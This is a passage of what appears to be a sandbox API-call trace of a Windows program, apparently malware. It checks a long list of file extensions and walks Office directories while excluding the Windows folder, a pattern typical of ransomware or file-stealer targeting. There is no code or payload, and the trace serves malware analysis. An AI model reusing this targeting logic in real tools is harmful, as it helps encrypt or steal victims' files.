(lpString1=".dif", lpString2=".dll") returned -1 [0250.926] lstrlenW (lpString=".divx") returned 5 [0250.926] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0250.926] lstrlenW (lpString=".djvu") returned 5 [0250.926] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0250.926] lstrlenW (lpString=".dng") returned 4 [0250.926] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".doc") returned 4 [0250.927] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".docm") returned 5 [0250.927] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0250.927] lstrlenW (lpString=".docx") returned 5 [0250.927] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0250.927] lstrlenW (lpString=".dot") returned 4 [0250.927] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dotm") returned 5 [0250.927] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0250.927] lstrlenW (lpString=".dotx") returned 5 [0250.927] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0250.927] lstrlenW (lpString=".dpx") returned 4 [0250.927] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dqy") returned 4 [0250.927] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dsn") returned 4 [0250.927] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dt") returned 3 [0250.927] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0250.927] lstrlenW (lpString=".dtd") returned 4 [0250.927] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dwg") returned 4 [0250.927] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dwt") returned 4 [0250.927] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".dx") returned 3 [0250.927] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0250.927] lstrlenW (lpString=".dxf") returned 4 [0250.927] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".edml") returned 5 [0250.927] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0250.927] lstrlenW (lpString=".efd") returned 4 [0250.927] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0250.927] lstrlenW (lpString=".elf") returned 4 [0250.928] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".emf") returned 4 [0250.928] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".emz") returned 4 [0250.928] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".epf") returned 4 [0250.928] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".eps") returned 4 [0250.928] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".epsf") returned 5 [0250.928] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0250.928] lstrlenW (lpString=".epsp") returned 5 [0250.928] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0250.928] lstrlenW (lpString=".erf") returned 4 [0250.928] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".exr") returned 4 [0250.928] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".f4v") returned 4 [0250.928] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".fido") returned 5 [0250.928] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0250.928] lstrlenW (lpString=".flm") returned 4 [0250.928] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".flv") returned 4 [0250.928] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".frm") returned 4 [0250.928] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".fxg") returned 4 [0250.928] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".geo") returned 4 [0250.928] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".gif") returned 4 [0250.928] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0250.928] lstrlenW (lpString=".grs") returned 4 [0250.928] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".gz") returned 3 [0250.929] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0250.929] lstrlenW (lpString=".h") returned 2 [0250.929] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0250.929] lstrlenW (lpString=".hdr") returned 4 [0250.929] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".hpp") returned 4 [0250.929] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".hta") returned 4 [0250.929] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".htc") returned 4 [0250.929] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".htm") returned 4 [0250.929] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".html") returned 5 [0250.929] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0250.929] lstrlenW (lpString=".icb") returned 4 [0250.929] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".ics") returned 4 [0250.929] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".iff") returned 4 [0250.929] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".inc") returned 4 [0250.929] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".indd") returned 5 [0250.929] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0250.929] lstrlenW (lpString=".ini") returned 4 [0250.929] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".iqy") returned 4 [0250.929] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".j2c") returned 4 [0250.929] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".j2k") returned 4 [0250.929] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0250.929] lstrlenW (lpString=".java") returned 5 [0250.929] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0250.929] lstrlenW (lpString=".jp2") returned 4 [0250.930] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".jpc") returned 4 [0250.930] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".jpe") returned 4 [0250.930] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".jpeg") returned 5 [0250.930] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0250.930] lstrlenW (lpString=".jpf") returned 4 [0250.930] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".jpg") returned 4 [0250.930] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".jpx") returned 4 [0250.930] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".js") returned 3 [0250.930] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0250.930] lstrlenW (lpString=".jsf") returned 4 [0250.930] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".json") returned 5 [0250.930] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0250.930] lstrlenW (lpString=".jsp") returned 4 [0250.930] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".kdc") returned 4 [0250.930] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".kmz") returned 4 [0250.930] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".kwm") returned 4 [0250.930] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".lasso") returned 6 [0250.930] lstrcmpiW (lpString1=".lasso", lpString2="ss.dll") returned -1 [0250.930] lstrlenW (lpString=".lbi") returned 4 [0250.930] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".lgf") returned 4 [0250.930] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".lgp") returned 4 [0250.930] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0250.930] lstrlenW (lpString=".log") returned 4 [0250.931] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".m1v") returned 4 [0250.931] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".m4a") returned 4 [0250.931] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".m4v") returned 4 [0250.931] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".max") returned 4 [0250.931] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".md") returned 3 [0250.931] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0250.931] lstrlenW (lpString=".mda") returned 4 [0250.931] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mdb") returned 4 [0250.931] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mde") returned 4 [0250.931] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mdf") returned 4 [0250.931] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mdw") returned 4 [0250.931] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mef") returned 4 [0250.931] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mft") returned 4 [0250.931] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mfw") returned 4 [0250.931] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mht") returned 4 [0250.931] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mhtml") returned 6 [0250.931] lstrcmpiW (lpString1=".mhtml", lpString2="ss.dll") returned -1 [0250.931] lstrlenW (lpString=".mka") returned 4 [0250.931] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0250.931] lstrlenW (lpString=".mkidx") returned 6 [0250.931] lstrcmpiW (lpString1=".mkidx", lpString2="ss.dll") returned -1 [0250.931] lstrlenW (lpString=".mkv") returned 4 [0250.932] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mos") returned 4 [0250.932] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mov") returned 4 [0250.932] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mp3") returned 4 [0250.932] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mp4") returned 4 [0250.932] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mpeg") returned 5 [0250.932] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1 [0250.932] lstrlenW (lpString=".mpg") returned 4 [0250.932] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mpv") returned 4 [0250.932] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mrw") returned 4 [0250.932] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".msg") returned 4 [0250.932] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".mxl") returned 4 [0250.932] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".myd") returned 4 [0250.932] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".myi") returned 4 [0250.932] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".nef") returned 4 [0250.932] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0250.932] lstrlenW (lpString=".nrw") returned 4 [0250.932] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".obj") returned 4 [0250.933] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".odb") returned 4 [0250.933] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".odc") returned 4 [0250.933] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".odm") returned 4 [0250.933] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".odp") returned 4 [0250.933] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".ods") returned 4 [0250.933] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".oft") returned 4 [0250.933] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".one") returned 4 [0250.933] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".onepkg") returned 7 [0250.933] lstrcmpiW (lpString1=".onepkg", lpString2="ess.dll") returned -1 [0250.933] lstrlenW (lpString=".onetoc2") returned 8 [0250.933] lstrcmpiW (lpString1=".onetoc2", lpString2="ress.dll") returned -1 [0250.933] lstrlenW (lpString=".opt") returned 4 [0250.933] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".oqy") returned 4 [0250.933] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".orf") returned 4 [0250.933] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".p12") returned 4 [0250.933] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0250.933] lstrlenW (lpString=".p7b") returned 4 [0250.934] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".p7c") returned 4 [0250.934] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pam") returned 4 [0250.934] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pbm") returned 4 [0250.934] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pct") returned 4 [0250.934] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pcx") returned 4 [0250.934] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pdd") returned 4 [0250.934] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pdf") returned 4 [0250.934] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pdp") returned 4 [0250.934] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pef") returned 4 [0250.934] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pem") returned 4 [0250.934] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pff") returned 4 [0250.934] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pfm") returned 4 [0250.934] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pfx") returned 4 [0250.934] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".pgm") returned 4 [0250.934] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".php") returned 4 [0250.934] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0250.934] lstrlenW (lpString=".php3") returned 5 [0250.934] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1 [0250.934] lstrlenW (lpString=".php4") returned 5 [0250.934] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1 [0250.934] lstrlenW (lpString=".php5") returned 5 [0250.935] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1 [0250.935] lstrlenW (lpString=".phtml") returned 6 [0250.935] lstrcmpiW (lpString1=".phtml", lpString2="ss.dll") returned -1 [0250.935] lstrlenW (lpString=".pict") returned 5 [0250.935] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1 [0250.935] lstrlenW (lpString=".pl") returned 3 [0250.935] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0250.935] lstrlenW (lpString=".pls") returned 4 [0250.935] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".pm") returned 3 [0250.935] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0250.935] lstrlenW (lpString=".png") returned 4 [0250.935] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".pnm") returned 4 [0250.935] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".pot") returned 4 [0250.935] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".potm") returned 5 [0250.935] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0250.935] lstrlenW (lpString=".potx") returned 5 [0250.935] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0250.935] lstrlenW (lpString=".ppa") returned 4 [0250.935] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".ppam") returned 5 [0250.935] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0250.935] lstrlenW (lpString=".ppm") returned 4 [0250.935] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".pps") returned 4 [0250.935] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".ppsm") returned 5 [0250.935] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0250.935] lstrlenW (lpString=".ppt") returned 4 [0250.935] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0250.935] lstrlenW (lpString=".pptm") returned 5 [0250.935] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0250.936] lstrlenW (lpString=".pptx") returned 5 [0250.936] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0250.936] lstrlenW (lpString=".prn") returned 4 [0250.936] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".ps") returned 3 [0250.936] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0250.936] lstrlenW (lpString=".psb") returned 4 [0250.936] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".psd") returned 4 [0250.936] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".pst") returned 4 [0250.936] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".ptx") returned 4 [0250.936] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".pub") returned 4 [0250.936] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".pwm") returned 4 [0250.936] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0250.936] lstrlenW (lpString=".pxr") returned 4 [0250.936] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0250.936] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0250.936] FindClose (in: hFindFile=0x6cfa48 | out: hFindFile=0x6cfa48) returned 1 [0250.936] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0250.936] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0 [0250.937] FindClose (in: hFindFile=0x6cfd08 | out: hFindFile=0x6cfd08) returned 1 [0250.937] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0250.937] FindNextFileW (in: hFindFile=0x6cf988, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c93f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0 [0250.937] FindClose (in: hFindFile=0x6cf988 | out: hFindFile=0x6cf988) returned 1 [0250.937] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0250.937] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x396f08c | out: lpFindFileData=0x396f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0250.937] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4198320 [0250.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET") returned 72 [0250.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\*", lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cfa48 [0250.937] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.937] FindNextFileW (in: hFindFile=0x6cfa48, lpFindFileData=0x396ee10 | out: lpFindFileData=0x396ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 1 [0250.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET") returned 82 [0250.937] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET") returned 1 [0250.937] lstrlenW (lpString="ADOMD.NET") returned 9 [0250.937] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ADOMD.NET") returned 1 [0250.937] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x41cde38 [0250.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET") returned 82 [0250.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft.NET\\ADOMD.NET\\*", lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x6cfd08 [0250.938] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0250.938] FindNextFileW (in: hFindFile=0x6cfd08, lpFindFileData=0x396eb94 | out: lpFindFileData=0x396eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16be2c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16be2c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 1 [0250.938] lstrlenW (lpString="C:\\Program 